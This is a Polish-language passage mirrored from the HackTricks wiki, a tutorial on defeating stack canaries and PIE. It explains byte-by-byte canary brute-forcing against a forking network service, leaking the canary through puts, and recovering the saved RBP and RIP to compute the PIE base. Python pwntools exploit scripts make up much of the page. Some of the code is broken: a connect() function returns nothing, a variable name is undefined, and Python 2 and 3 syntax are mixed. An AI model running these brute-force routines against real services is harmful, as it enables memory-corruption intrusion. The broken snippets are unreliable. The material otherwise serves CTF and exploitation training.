mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-18 17:16:10 +00:00
169 lines
9.4 KiB
Markdown
169 lines
9.4 KiB
Markdown
<details>
|
|
|
|
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Inne sposoby wsparcia HackTricks:
|
|
|
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
|
|
|
|
**Jeśli masz do czynienia z binarnym plikiem chronionym przez canary i PIE (Position Independent Executable), prawdopodobnie musisz znaleźć sposób na ich obejście.**
|
|
|
|
![](<../../.gitbook/assets/image (144).png>)
|
|
|
|
{% hint style="info" %}
|
|
Należy zauważyć, że **`checksec`** może nie wykryć, że binarny plik jest chroniony przez canary, jeśli został on statycznie skompilowany i nie jest w stanie zidentyfikować funkcji.\
|
|
Jednak można to zauważyć ręcznie, jeśli zauważysz, że wartość jest zapisywana na stosie na początku wywołania funkcji i ta wartość jest sprawdzana przed wyjściem.
|
|
{% endhint %}
|
|
|
|
# Bruteforce canary
|
|
|
|
Najlepszym sposobem na obejście prostego canary jest, jeśli binarny plik jest programem, który **tworzy procesy potomne za każdym razem, gdy nawiązujesz nowe połączenie** z nim (usługa sieciowa), ponieważ za każdym razem, gdy się z nim łączysz, **używany będzie ten sam canary**.
|
|
|
|
Najlepszym sposobem na obejście canary jest po prostu **brute-force'owanie go znak po znaku**, a można ustalić, czy odgadnięty bajt canary jest poprawny, sprawdzając, czy program się zawiesił czy kontynuuje swoje normalne działanie. W tym przykładzie funkcja **brute-force'uje 8-bajtowy canary (x64)** i rozróżnia między poprawnie odgadniętym bajtem a błędnym bajtem, po prostu **sprawdzając**, czy serwer **wysyła odpowiedź** (innym sposobem w **innej sytuacji** może być użycie **try/except**):
|
|
|
|
## Przykład 1
|
|
|
|
Ten przykład jest zaimplementowany dla 64-bitów, ale można go łatwo zaimplementować dla 32-bitów.
|
|
```python
|
|
from pwn import *
|
|
|
|
def connect():
|
|
r = remote("localhost", 8788)
|
|
|
|
def get_bf(base):
|
|
canary = ""
|
|
guess = 0x0
|
|
base += canary
|
|
|
|
while len(canary) < 8:
|
|
while guess != 0xff:
|
|
r = connect()
|
|
|
|
r.recvuntil("Username: ")
|
|
r.send(base + chr(guess))
|
|
|
|
if "SOME OUTPUT" in r.clean():
|
|
print "Guessed correct byte:", format(guess, '02x')
|
|
canary += chr(guess)
|
|
base += chr(guess)
|
|
guess = 0x0
|
|
r.close()
|
|
break
|
|
else:
|
|
guess += 1
|
|
r.close()
|
|
|
|
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
|
|
return base
|
|
|
|
canary_offset = 1176
|
|
base = "A" * canary_offset
|
|
print("Brute-Forcing canary")
|
|
base_canary = get_bf(base) #Get yunk data + canary
|
|
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
|
|
```
|
|
## Przykład 2
|
|
|
|
To jest zaimplementowane dla 32 bitów, ale można to łatwo zmienić na 64 bity.\
|
|
Należy również zauważyć, że w tym przykładzie **program oczekuje najpierw bajtu wskazującego rozmiar wejścia**, a następnie ładunku.
|
|
```python
|
|
from pwn import *
|
|
|
|
# Here is the function to brute force the canary
|
|
def breakCanary():
|
|
known_canary = b""
|
|
test_canary = 0x0
|
|
len_bytes_to_read = 0x21
|
|
|
|
for j in range(0, 4):
|
|
# Iterate up to 0xff times to brute force all posible values for byte
|
|
for test_canary in range(0xff):
|
|
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
|
|
|
|
# Send the current input size
|
|
target.send(len_bytes_to_read.to_bytes(1, "little"))
|
|
|
|
# Send this iterations canary
|
|
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
|
|
|
|
# Scan in the output, determine if we have a correct value
|
|
output = target.recvuntil(b"exit.")
|
|
if b"YUM" in output:
|
|
# If we have a correct value, record the canary value, reset the canary value, and move on
|
|
print(" - next byte is: " + hex(test_canary))
|
|
known_canary = known_canary + test_canary.to_bytes(1, "little")
|
|
len_bytes_to_read += 1
|
|
break
|
|
|
|
# Return the canary
|
|
return known_canary
|
|
|
|
# Start the target process
|
|
target = process('./feedme')
|
|
#gdb.attach(target)
|
|
|
|
# Brute force the canary
|
|
canary = breakCanary()
|
|
log.info(f"The canary is: {canary}")
|
|
```
|
|
# Wyświetlanie Canary
|
|
|
|
Innym sposobem na obejście canary jest jego **wyświetlenie**.\
|
|
Wyobraź sobie sytuację, w której **podatny na przepełnienie stosu program** może wykonać funkcję **puts**, która **wskazuje** na **część** przepełnionego stosu. Atakujący wie, że **pierwszy bajt canary to bajt nullowy** (`\x00`), a reszta canary to **losowe** bajty. Następnie atakujący może stworzyć przepełnienie, które **nadpisuje stos aż do pierwszego bajtu canary**.\
|
|
Następnie atakujący **wywołuje funkcję puts** na środku payloadu, co spowoduje **wyświetlenie całego canary** (z wyjątkiem pierwszego bajtu nullowego).\
|
|
Dzięki tym informacjom atakujący może **stworzyć i wysłać nowy atak**, znając canary (w tej samej sesji programu).
|
|
|
|
Oczywiście, ta taktyka jest bardzo **ograniczona**, ponieważ atakujący musi być w stanie **wyświetlić** zawartość swojego payloadu, aby **wyciec canary**, a następnie być w stanie stworzyć nowy payload (w tej samej sesji programu) i **wysłać** **rzeczywiste przepełnienie bufora**.\
|
|
Przykład CTF: [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
|
|
|
|
# PIE
|
|
|
|
Aby obejść PIE, musisz **wyciec pewien adres**. Jeśli binarny plik nie wycieka żadnych adresów, najlepiej jest **przełamać RBP i RIP zapisane na stosie** w podatnej funkcji.\
|
|
Na przykład, jeśli binarny plik jest chroniony zarówno przez **canary**, jak i **PIE**, możesz rozpocząć próby odgadywania canary, a następnie **następne** 8 bajtów (x64) będą zapisanym **RBP**, a **następne** 8 bajtów będą zapisanym **RIP**.
|
|
|
|
Aby przeprowadzić próby odgadywania RBP i RIP z binarnego pliku, możesz ustalić, że poprawny odgadnięty bajt jest prawidłowy, jeśli program coś wyświetla lub po prostu nie zawiesza się. **Ta sama funkcja**, która została użyta do prób odgadywania canary, może być użyta do prób odgadywania RBP i RIP:
|
|
```python
|
|
print("Brute-Forcing RBP")
|
|
base_canary_rbp = get_bf(base_canary)
|
|
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
|
|
print("Brute-Forcing RIP")
|
|
base_canary_rbp_rip = get_bf(base_canary_rbp)
|
|
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
|
|
```
|
|
## Uzyskaj adres bazowy
|
|
|
|
Ostatnią rzeczą, którą musisz zrobić, aby pokonać PIE, jest obliczenie **użytecznych adresów na podstawie wyciekniętych** adresów: **RBP** i **RIP**.
|
|
|
|
Na podstawie **RBP** możesz obliczyć **miejsce, w którym zapisujesz swoją powłokę na stosie**. Może to być bardzo przydatne, aby wiedzieć, gdzie zamierzasz zapisać ciąg _"/bin/sh\x00"_ wewnątrz stosu. Aby obliczyć odległość między wyciekniętym RBP a twoim kodem powłoki, wystarczy ustawić **punkt przerwania po wycieku RBP** i sprawdzić, **gdzie znajduje się twój kod powłoki**, a następnie obliczyć odległość między kodem powłoki a RBP:
|
|
```python
|
|
INI_SHELLCODE = RBP - 1152
|
|
```
|
|
Z **RIP** można obliczyć **adres bazowy binarnego PIE**, który będzie potrzebny do utworzenia **poprawnego łańcucha ROP**.\
|
|
Aby obliczyć adres bazowy, wystarczy wykonać polecenie `objdump -d vunbinary` i sprawdzić ostatnie adresy rozkładu:
|
|
|
|
![](<../../.gitbook/assets/image (145).png>)
|
|
|
|
Na przykładzie widać, że potrzebne jest tylko **1,5 bajta**, aby zlokalizować cały kod, a więc adres bazowy w tej sytuacji będzie to **wycieknięty RIP, ale zakończony na "000"**. Na przykład, jeśli wyciekł _0x562002970**ecf**_, to adres bazowy to _0x562002970**000**_.
|
|
```python
|
|
elf.address = RIP - (RIP & 0xfff)
|
|
```
|
|
<details>
|
|
|
|
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Inne sposoby wsparcia HackTricks:
|
|
|
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
|
|
|
</details>
|